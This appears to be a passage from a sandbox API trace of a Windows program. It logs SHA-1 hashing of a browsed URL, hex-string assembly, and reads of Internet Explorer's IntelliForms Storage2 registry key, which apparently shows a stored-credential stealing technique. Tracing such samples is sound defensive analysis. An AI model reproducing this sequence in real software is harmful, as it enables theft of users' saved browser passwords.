[0096.791] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.791] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="16") returned 2 [0096.792] lstrlenW (lpString="03A89D0054FEC72B") returned 16 [0096.792] lstrlenW (lpString="16") returned 2 [0096.792] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0096.792] lstrcpyW (in: lpString1=0x71cfb40, lpString2="03A89D0054FEC72B" | out: lpString1="03A89D0054FEC72B") returned="03A89D0054FEC72B" [0096.792] lstrcatW (in: lpString1="03A89D0054FEC72B", lpString2="16" | out: lpString1="03A89D0054FEC72B16") returned="03A89D0054FEC72B16" [0096.792] LocalFree (hMem=0x71cf460) returned 0x0 [0096.792] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2B") returned 2 [0096.792] lstrlenW (lpString="03A89D0054FEC72B16") returned 18 [0096.792] lstrlenW (lpString="2B") returned 2 [0096.792] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0096.792] lstrcpyW (in: lpString1=0x7290b70, lpString2="03A89D0054FEC72B16" | out: lpString1="03A89D0054FEC72B16") returned="03A89D0054FEC72B16" [0096.792] lstrcatW (in: lpString1="03A89D0054FEC72B16", lpString2="2B" | out: lpString1="03A89D0054FEC72B162B") returned="03A89D0054FEC72B162B" [0096.792] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.792] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="31") returned 2 [0096.792] lstrlenW (lpString="03A89D0054FEC72B162B") returned 20 [0096.792] lstrlenW (lpString="31") returned 2 [0096.792] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0096.792] lstrcpyW (in: lpString1=0x72912f0, lpString2="03A89D0054FEC72B162B" | out: lpString1="03A89D0054FEC72B162B") returned="03A89D0054FEC72B162B" [0096.792] lstrcatW (in: lpString1="03A89D0054FEC72B162B", lpString2="31" | out: lpString1="03A89D0054FEC72B162B31") returned="03A89D0054FEC72B162B31" [0096.792] LocalFree (hMem=0x7290b70) returned 0x0 [0096.792] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7B") returned 2 [0096.792] lstrlenW (lpString="03A89D0054FEC72B162B31") returned 22 [0096.792] lstrlenW (lpString="7B") returned 2 [0096.792] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0096.792] lstrcpyW (in: lpString1=0x7290b70, lpString2="03A89D0054FEC72B162B31" | out: lpString1="03A89D0054FEC72B162B31") returned="03A89D0054FEC72B162B31" [0096.792] lstrcatW (in: lpString1="03A89D0054FEC72B162B31", lpString2="7B" | out: lpString1="03A89D0054FEC72B162B317B") returned="03A89D0054FEC72B162B317B" [0096.792] LocalFree (hMem=0x72912f0) returned 0x0 [0096.792] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CF") returned 2 [0096.792] lstrlenW (lpString="03A89D0054FEC72B162B317B") returned 24 [0096.792] lstrlenW (lpString="CF") returned 2 [0096.792] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0096.792] lstrcpyW (in: lpString1=0x72912f0, lpString2="03A89D0054FEC72B162B317B" | out: lpString1="03A89D0054FEC72B162B317B") returned="03A89D0054FEC72B162B317B" [0096.792] lstrcatW (in: lpString1="03A89D0054FEC72B162B317B", lpString2="CF" | out: lpString1="03A89D0054FEC72B162B317BCF") returned="03A89D0054FEC72B162B317BCF" [0096.792] LocalFree (hMem=0x7290b70) returned 0x0 [0096.792] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="05") returned 2 [0096.792] lstrlenW (lpString="03A89D0054FEC72B162B317BCF") returned 26 [0096.793] lstrlenW (lpString="05") returned 2 [0096.793] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0096.793] lstrcpyW (in: lpString1=0x2815a80, lpString2="03A89D0054FEC72B162B317BCF" | out: lpString1="03A89D0054FEC72B162B317BCF") returned="03A89D0054FEC72B162B317BCF" [0096.793] lstrcatW (in: lpString1="03A89D0054FEC72B162B317BCF", lpString2="05" | out: lpString1="03A89D0054FEC72B162B317BCF05") returned="03A89D0054FEC72B162B317BCF05" [0096.793] LocalFree (hMem=0x72912f0) returned 0x0 [0096.793] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="25") returned 2 [0096.793] lstrlenW (lpString="03A89D0054FEC72B162B317BCF05") returned 28 [0096.793] lstrlenW (lpString="25") returned 2 [0096.793] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0096.793] lstrcpyW (in: lpString1=0x2815670, lpString2="03A89D0054FEC72B162B317BCF05" | out: lpString1="03A89D0054FEC72B162B317BCF05") returned="03A89D0054FEC72B162B317BCF05" [0096.793] lstrcatW (in: lpString1="03A89D0054FEC72B162B317BCF05", lpString2="25" | out: lpString1="03A89D0054FEC72B162B317BCF0525") returned="03A89D0054FEC72B162B317BCF0525" [0096.793] LocalFree (hMem=0x2815a80) returned 0x0 [0096.793] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A2") returned 2 [0096.793] lstrlenW (lpString="03A89D0054FEC72B162B317BCF0525") returned 30 [0096.793] lstrlenW (lpString="A2") returned 2 [0096.793] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0096.793] lstrcpyW (in: lpString1=0x2815a80, lpString2="03A89D0054FEC72B162B317BCF0525" | out: lpString1="03A89D0054FEC72B162B317BCF0525") returned="03A89D0054FEC72B162B317BCF0525" [0096.793] lstrcatW (in: lpString1="03A89D0054FEC72B162B317BCF0525", lpString2="A2" | out: lpString1="03A89D0054FEC72B162B317BCF0525A2") returned="03A89D0054FEC72B162B317BCF0525A2" [0096.793] LocalFree (hMem=0x2815670) returned 0x0 [0096.793] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F5") returned 2 [0096.793] lstrlenW (lpString="03A89D0054FEC72B162B317BCF0525A2") returned 32 [0096.793] lstrlenW (lpString="F5") returned 2 [0096.793] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0096.793] lstrcpyW (in: lpString1=0x2815670, lpString2="03A89D0054FEC72B162B317BCF0525A2" | out: lpString1="03A89D0054FEC72B162B317BCF0525A2") returned="03A89D0054FEC72B162B317BCF0525A2" [0096.793] lstrcatW (in: lpString1="03A89D0054FEC72B162B317BCF0525A2", lpString2="F5" | out: lpString1="03A89D0054FEC72B162B317BCF0525A2F5") returned="03A89D0054FEC72B162B317BCF0525A2F5" [0096.793] LocalFree (hMem=0x2815a80) returned 0x0 [0096.793] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A1") returned 2 [0096.793] lstrlenW (lpString="03A89D0054FEC72B162B317BCF0525A2F5") returned 34 [0096.793] lstrlenW (lpString="A1") returned 2 [0096.793] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0096.793] lstrcpyW (in: lpString1=0x28e7910, lpString2="03A89D0054FEC72B162B317BCF0525A2F5" | out: lpString1="03A89D0054FEC72B162B317BCF0525A2F5") returned="03A89D0054FEC72B162B317BCF0525A2F5" [0096.793] lstrcatW (in: lpString1="03A89D0054FEC72B162B317BCF0525A2F5", lpString2="A1" | out: lpString1="03A89D0054FEC72B162B317BCF0525A2F5A1") returned="03A89D0054FEC72B162B317BCF0525A2F5A1" [0096.793] LocalFree (hMem=0x2815670) returned 0x0 [0096.793] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3E") returned 2 [0096.793] lstrlenW (lpString="03A89D0054FEC72B162B317BCF0525A2F5A1") returned 36 [0096.793] lstrlenW (lpString="3E") returned 2 [0096.793] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0096.794] lstrcpyW (in: lpString1=0x28e7670, lpString2="03A89D0054FEC72B162B317BCF0525A2F5A1" | out: lpString1="03A89D0054FEC72B162B317BCF0525A2F5A1") returned="03A89D0054FEC72B162B317BCF0525A2F5A1" [0096.794] lstrcatW (in: lpString1="03A89D0054FEC72B162B317BCF0525A2F5A1", lpString2="3E" | out: lpString1="03A89D0054FEC72B162B317BCF0525A2F5A13E") returned="03A89D0054FEC72B162B317BCF0525A2F5A13E" [0096.794] LocalFree (hMem=0x28e7910) returned 0x0 [0096.794] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="53") returned 2 [0096.794] lstrlenW (lpString="03A89D0054FEC72B162B317BCF0525A2F5A13E") returned 38 [0096.794] lstrlenW (lpString="53") returned 2 [0096.794] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0096.794] lstrcpyW (in: lpString1=0x28e7910, lpString2="03A89D0054FEC72B162B317BCF0525A2F5A13E" | out: lpString1="03A89D0054FEC72B162B317BCF0525A2F5A13E") returned="03A89D0054FEC72B162B317BCF0525A2F5A13E" [0096.794] lstrcatW (in: lpString1="03A89D0054FEC72B162B317BCF0525A2F5A13E", lpString2="53" | out: lpString1="03A89D0054FEC72B162B317BCF0525A2F5A13E53") returned="03A89D0054FEC72B162B317BCF0525A2F5A13E53" [0096.794] LocalFree (hMem=0x28e7670) returned 0x0 [0096.794] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3B") returned 2 [0096.794] lstrlenW (lpString="03A89D0054FEC72B162B317BCF0525A2F5A13E53") returned 40 [0096.794] lstrlenW (lpString="3B") returned 2 [0096.794] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0096.794] lstrcpyW (in: lpString1=0x28e7670, lpString2="03A89D0054FEC72B162B317BCF0525A2F5A13E53" | out: lpString1="03A89D0054FEC72B162B317BCF0525A2F5A13E53") returned="03A89D0054FEC72B162B317BCF0525A2F5A13E53" [0096.794] lstrcatW (in: lpString1="03A89D0054FEC72B162B317BCF0525A2F5A13E53", lpString2="3B" | out: lpString1="03A89D0054FEC72B162B317BCF0525A2F5A13E533B") returned="03A89D0054FEC72B162B317BCF0525A2F5A13E533B" [0096.794] LocalFree (hMem=0x28e7910) returned 0x0 [0096.794] CryptDestroyHash (hHash=0x4469540) returned 1 [0096.794] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.794] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.794] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.794] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.794] LocalFree (hMem=0x28e7670) returned 0x0 [0096.794] RegEnumValueW (in: hKey=0x368, dwIndex=0xd, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url37", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.794] StrStrIW (lpFirst="thesaurus.com", lpSrch="?") returned 0x0 [0096.794] StrStrIW (lpFirst="thesaurus.com", lpSrch="http://") returned 0x0 [0096.794] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.795] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.795] lstrlenW (lpString="thesaurus.com") returned 13 [0096.795] CryptHashData (hHash=0x4469540, pbData=0x28ff190, dwDataLen=0x1c, dwFlags=0x0) returned 1 [0096.795] CryptGetHashParam (in: hHash=0x4469540, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.795] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D6") returned 2 [0096.795] lstrlenW (lpString="") returned 0 [0096.795] lstrlenW (lpString="D6") returned 2 [0096.795] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7224580 [0096.795] lstrcpyW (in: lpString1=0x7224580, lpString2="" | out: lpString1="") returned="" [0096.795] lstrcatW (in: lpString1="", lpString2="D6" | out: lpString1="D6") returned="D6" [0096.795] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6A") returned 2 [0096.795] lstrlenW (lpString="D6") returned 2 [0096.795] lstrlenW (lpString="6A") returned 2 [0096.795] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c8d00 [0096.795] lstrcpyW (in: lpString1=0x28c8d00, lpString2="D6" | out: lpString1="D6") returned="D6" [0096.795] lstrcatW (in: lpString1="D6", lpString2="6A" | out: lpString1="D66A") returned="D66A" [0096.795] LocalFree (hMem=0x7224580) returned 0x0 [0096.795] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="68") returned 2 [0096.795] lstrlenW (lpString="D66A") returned 4 [0096.795] lstrlenW (lpString="68") returned 2 [0096.795] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c81c0 [0096.795] lstrcpyW (in: lpString1=0x28c81c0, lpString2="D66A" | out: lpString1="D66A") returned="D66A" [0096.795] lstrcatW (in: lpString1="D66A", lpString2="68" | out: lpString1="D66A68") returned="D66A68" [0096.795] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.796] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="38") returned 2 [0096.796] lstrlenW (lpString="D66A68") returned 6 [0096.796] lstrlenW (lpString="38") returned 2 [0096.796] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c8d00 [0096.796] lstrcpyW (in: lpString1=0x28c8d00, lpString2="D66A68" | out: lpString1="D66A68") returned="D66A68" [0096.796] lstrcatW (in: lpString1="D66A68", lpString2="38" | out: lpString1="D66A6838") returned="D66A6838" [0096.796] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.796] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CF") returned 2 [0096.796] lstrlenW (lpString="D66A6838") returned 8 [0096.796] lstrlenW (lpString="CF") returned 2 [0096.796] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c81c0 [0096.796] lstrcpyW (in: lpString1=0x28c81c0, lpString2="D66A6838" | out: lpString1="D66A6838") returned="D66A6838" [0096.796] lstrcatW (in: lpString1="D66A6838", lpString2="CF" | out: lpString1="D66A6838CF") returned="D66A6838CF" [0096.796] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.796] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9D") returned 2 [0096.796] lstrlenW (lpString="D66A6838CF") returned 10 [0096.796] lstrlenW (lpString="9D") returned 2 [0096.796] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0096.796] lstrcpyW (in: lpString1=0x71cfb40, lpString2="D66A6838CF" | out: lpString1="D66A6838CF") returned="D66A6838CF" [0096.796] lstrcatW (in: lpString1="D66A6838CF", lpString2="9D" | out: lpString1="D66A6838CF9D") returned="D66A6838CF9D" [0096.796] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.796] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AF") returned 2 [0096.796] lstrlenW (lpString="D66A6838CF9D") returned 12 [0096.796] lstrlenW (lpString="AF") returned 2 [0096.796] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0096.796] lstrcpyW (in: lpString1=0x71cf460, lpString2="D66A6838CF9D" | out: lpString1="D66A6838CF9D") returned="D66A6838CF9D" [0096.796] lstrcatW (in: lpString1="D66A6838CF9D", lpString2="AF" | out: lpString1="D66A6838CF9DAF") returned="D66A6838CF9DAF" [0096.796] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.796] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="71") returned 2 [0096.796] lstrlenW (lpString="D66A6838CF9DAF") returned 14 [0096.796] lstrlenW (lpString="71") returned 2 [0096.796] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0096.796] lstrcpyW (in: lpString1=0x71cfb40, lpString2="D66A6838CF9DAF" | out: lpString1="D66A6838CF9DAF") returned="D66A6838CF9DAF" [0096.796] lstrcatW (in: lpString1="D66A6838CF9DAF", lpString2="71" | out: lpString1="D66A6838CF9DAF71") returned="D66A6838CF9DAF71" [0096.796] LocalFree (hMem=0x71cf460) returned 0x0 [0096.796] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="17") returned 2 [0096.796] lstrlenW (lpString="D66A6838CF9DAF71") returned 16 [0096.797] lstrlenW (lpString="17") returned 2 [0096.797] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0096.797] lstrcpyW (in: lpString1=0x71cf460, lpString2="D66A6838CF9DAF71" | out: lpString1="D66A6838CF9DAF71") returned="D66A6838CF9DAF71" [0096.797] lstrcatW (in: lpString1="D66A6838CF9DAF71", lpString2="17" | out: lpString1="D66A6838CF9DAF7117") returned="D66A6838CF9DAF7117" [0096.797] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.797] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BA") returned 2 [0096.797] lstrlenW (lpString="D66A6838CF9DAF7117") returned 18 [0096.797] lstrlenW (lpString="BA") returned 2 [0096.797] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0096.797] lstrcpyW (in: lpString1=0x72912f0, lpString2="D66A6838CF9DAF7117" | out: lpString1="D66A6838CF9DAF7117") returned="D66A6838CF9DAF7117" [0096.797] lstrcatW (in: lpString1="D66A6838CF9DAF7117", lpString2="BA" | out: lpString1="D66A6838CF9DAF7117BA") returned="D66A6838CF9DAF7117BA" [0096.797] LocalFree (hMem=0x71cf460) returned 0x0 [0096.797] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F0") returned 2 [0096.797] lstrlenW (lpString="D66A6838CF9DAF7117BA") returned 20 [0096.797] lstrlenW (lpString="F0") returned 2 [0096.797] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0096.797] lstrcpyW (in: lpString1=0x7290b70, lpString2="D66A6838CF9DAF7117BA" | out: lpString1="D66A6838CF9DAF7117BA") returned="D66A6838CF9DAF7117BA" [0096.797] lstrcatW (in: lpString1="D66A6838CF9DAF7117BA", lpString2="F0" | out: lpString1="D66A6838CF9DAF7117BAF0") returned="D66A6838CF9DAF7117BAF0" [0096.797] LocalFree (hMem=0x72912f0) returned 0x0 [0096.797] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BB") returned 2 [0096.797] lstrlenW (lpString="D66A6838CF9DAF7117BAF0") returned 22 [0096.797] lstrlenW (lpString="BB") returned 2 [0096.797] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0096.797] lstrcpyW (in: lpString1=0x72912f0, lpString2="D66A6838CF9DAF7117BAF0" | out: lpString1="D66A6838CF9DAF7117BAF0") returned="D66A6838CF9DAF7117BAF0" [0096.797] lstrcatW (in: lpString1="D66A6838CF9DAF7117BAF0", lpString2="BB" | out: lpString1="D66A6838CF9DAF7117BAF0BB") returned="D66A6838CF9DAF7117BAF0BB" [0096.797] LocalFree (hMem=0x7290b70) returned 0x0 [0096.797] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FD") returned 2 [0096.797] lstrlenW (lpString="D66A6838CF9DAF7117BAF0BB") returned 24 [0096.797] lstrlenW (lpString="FD") returned 2 [0096.797] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0096.797] lstrcpyW (in: lpString1=0x7290b70, lpString2="D66A6838CF9DAF7117BAF0BB" | out: lpString1="D66A6838CF9DAF7117BAF0BB") returned="D66A6838CF9DAF7117BAF0BB" [0096.797] lstrcatW (in: lpString1="D66A6838CF9DAF7117BAF0BB", lpString2="FD" | out: lpString1="D66A6838CF9DAF7117BAF0BBFD") returned="D66A6838CF9DAF7117BAF0BBFD" [0096.797] LocalFree (hMem=0x72912f0) returned 0x0 [0096.797] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8C") returned 2 [0096.797] lstrlenW (lpString="D66A6838CF9DAF7117BAF0BBFD") returned 26 [0096.797] lstrlenW (lpString="8C") returned 2 [0096.797] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0096.798] lstrcpyW (in: lpString1=0x2815670, lpString2="D66A6838CF9DAF7117BAF0BBFD" | out: lpString1="D66A6838CF9DAF7117BAF0BBFD") returned="D66A6838CF9DAF7117BAF0BBFD" [0096.798] lstrcatW (in: lpString1="D66A6838CF9DAF7117BAF0BBFD", lpString2="8C" | out: lpString1="D66A6838CF9DAF7117BAF0BBFD8C") returned="D66A6838CF9DAF7117BAF0BBFD8C" [0096.798] LocalFree (hMem=0x7290b70) returned 0x0 [0096.798] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DA") returned 2 [0096.798] lstrlenW (lpString="D66A6838CF9DAF7117BAF0BBFD8C") returned 28 [0096.798] lstrlenW (lpString="DA") returned 2 [0096.798] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0096.798] lstrcpyW (in: lpString1=0x2815a80, lpString2="D66A6838CF9DAF7117BAF0BBFD8C" | out: lpString1="D66A6838CF9DAF7117BAF0BBFD8C") returned="D66A6838CF9DAF7117BAF0BBFD8C" [0096.798] lstrcatW (in: lpString1="D66A6838CF9DAF7117BAF0BBFD8C", lpString2="DA" | out: lpString1="D66A6838CF9DAF7117BAF0BBFD8CDA") returned="D66A6838CF9DAF7117BAF0BBFD8CDA" [0096.798] LocalFree (hMem=0x2815670) returned 0x0 [0096.798] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1C") returned 2 [0096.798] lstrlenW (lpString="D66A6838CF9DAF7117BAF0BBFD8CDA") returned 30 [0096.798] lstrlenW (lpString="1C") returned 2 [0096.798] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0096.798] lstrcpyW (in: lpString1=0x2815670, lpString2="D66A6838CF9DAF7117BAF0BBFD8CDA" | out: lpString1="D66A6838CF9DAF7117BAF0BBFD8CDA") returned="D66A6838CF9DAF7117BAF0BBFD8CDA" [0096.798] lstrcatW (in: lpString1="D66A6838CF9DAF7117BAF0BBFD8CDA", lpString2="1C" | out: lpString1="D66A6838CF9DAF7117BAF0BBFD8CDA1C") returned="D66A6838CF9DAF7117BAF0BBFD8CDA1C" [0096.798] LocalFree (hMem=0x2815a80) returned 0x0 [0096.798] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5D") returned 2 [0096.798] lstrlenW (lpString="D66A6838CF9DAF7117BAF0BBFD8CDA1C") returned 32 [0096.798] lstrlenW (lpString="5D") returned 2 [0096.798] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0096.798] lstrcpyW (in: lpString1=0x2815a80, lpString2="D66A6838CF9DAF7117BAF0BBFD8CDA1C" | out: lpString1="D66A6838CF9DAF7117BAF0BBFD8CDA1C") returned="D66A6838CF9DAF7117BAF0BBFD8CDA1C" [0096.798] lstrcatW (in: lpString1="D66A6838CF9DAF7117BAF0BBFD8CDA1C", lpString2="5D" | out: lpString1="D66A6838CF9DAF7117BAF0BBFD8CDA1C5D") returned="D66A6838CF9DAF7117BAF0BBFD8CDA1C5D" [0096.798] LocalFree (hMem=0x2815670) returned 0x0 [0096.798] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AC") returned 2 [0096.798] lstrlenW (lpString="D66A6838CF9DAF7117BAF0BBFD8CDA1C5D") returned 34 [0096.798] lstrlenW (lpString="AC") returned 2 [0096.798] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0096.798] lstrcpyW (in: lpString1=0x28e7670, lpString2="D66A6838CF9DAF7117BAF0BBFD8CDA1C5D" | out: lpString1="D66A6838CF9DAF7117BAF0BBFD8CDA1C5D") returned="D66A6838CF9DAF7117BAF0BBFD8CDA1C5D" [0096.798] lstrcatW (in: lpString1="D66A6838CF9DAF7117BAF0BBFD8CDA1C5D", lpString2="AC" | out: lpString1="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC") returned="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC" [0096.798] LocalFree (hMem=0x2815a80) returned 0x0 [0096.798] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="40") returned 2 [0096.798] lstrlenW (lpString="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC") returned 36 [0096.798] lstrlenW (lpString="40") returned 2 [0096.798] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0096.798] lstrcpyW (in: lpString1=0x28e7910, lpString2="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC" | out: lpString1="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC") returned="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC" [0096.799] lstrcatW (in: lpString1="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC", lpString2="40" | out: lpString1="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC40") returned="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC40" [0096.799] LocalFree (hMem=0x28e7670) returned 0x0 [0096.799] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D6") returned 2 [0096.799] lstrlenW (lpString="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC40") returned 38 [0096.799] lstrlenW (lpString="D6") returned 2 [0096.799] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0096.799] lstrcpyW (in: lpString1=0x28e7670, lpString2="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC40" | out: lpString1="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC40") returned="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC40" [0096.799] lstrcatW (in: lpString1="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC40", lpString2="D6" | out: lpString1="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC40D6") returned="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC40D6" [0096.799] LocalFree (hMem=0x28e7910) returned 0x0 [0096.799] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="86") returned 2 [0096.799] lstrlenW (lpString="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC40D6") returned 40 [0096.799] lstrlenW (lpString="86") returned 2 [0096.799] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0096.799] lstrcpyW (in: lpString1=0x28e7910, lpString2="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC40D6" | out: lpString1="D66A6838CF9DAF7117BAF0BBFD8CDA1C5DAC40D6") 